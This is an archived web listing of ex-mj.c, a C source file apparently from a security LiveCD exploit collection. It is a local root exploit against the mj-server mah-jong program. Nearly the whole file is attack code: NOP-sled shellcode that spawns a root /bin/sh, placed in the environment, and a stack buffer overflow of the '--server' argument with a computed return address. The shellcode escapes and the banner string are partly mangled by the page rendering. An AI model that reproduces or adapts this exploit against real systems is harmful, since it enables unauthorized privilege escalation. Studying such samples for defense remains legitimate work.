home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / mah-jong / ex-mj.c < prev   
Text File  |  2005-02-12  |  2KB  |  57 lines

  1. /*
  2. *   mj-server(client) local root(possible in debian)  exploit
  3. *   test in (redhat7.2----redhat8.0)
  4. *   coded by jsk
  5. *
  6. *  (c) Ph4nt0m Security Team  /www.ph4nt0m.org
  7. *
  8. */
  9. #include <stdio.h>
  10. #include <stdlib.h>
  11. #include <unistd.h>
  12. #define BUFSIZE 150
  13.  
  14.  
  15. char shellcode[] =
  16. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
  17. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
  18. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
  19. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
  20. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
  21. "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
  22. "x31xc0x31xdbxb0x17xcdx80xebx1fx5ex89x76x08x31"
  23. "xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8d"
  24. "x56x0cxcdx80x31xdbx89xd8x40xcdx80xe8xdcxffxff"
  25. "xffx2fx62x69x6ex2fx73x68x58";
  26. void banner (void);
  27.  
  28. void banner (void)
  29. {
  30. fprintf (stdout, "\n [+] mj-server local  exploit
  31. mail:<jsk@ph4nt0m.net>");
  32. fprintf (stdout, "\n [+] by jsk < <a href="http://www.ph4nt0m.org"
  33. target="_blank"><a href="http://www.ph4nt0m.org"
  34. target="_blank">www.ph4nt0m.org</a></a>> talk with me <irc.0x557.org
  35. #ph4nt0m> ");
  36. fprintf (stdout, "\n [+] spawning shell \n\n");
  37. }
  38.  
  39. int main(void)
  40. {
  41.     char buf[BUFSIZE+16];
  42.     char *prog[] = {"/home/mj-1.4-src/mj-server","--server", buf, NULL};
  43.     char *env[] = {"HOME=jsk", shellcode, NULL};
  44.     unsigned long ret = 0xc0000000 - sizeof(void *) - strlen(prog[0]) -
  45.     strlen(shellcode) - 0x02;
  46.     memset(buf,0x41,sizeof(buf));
  47.     memcpy(buf+BUFSIZE,(char *)&ret,4);
  48.     memcpy(buf+BUFSIZE+4,(char *)&ret,4);
  49.     memcpy(buf+BUFSIZE+8,(char *)&ret,4);
  50.     buf[BUFSIZE+12] = 0x00;
  51.     printf("\n [+] Using address: 0x%x", ret);
  52.     banner ();
  53.     execve(prog[0],prog,env);
  54.     return 0;
  55. }
  56.  
  57.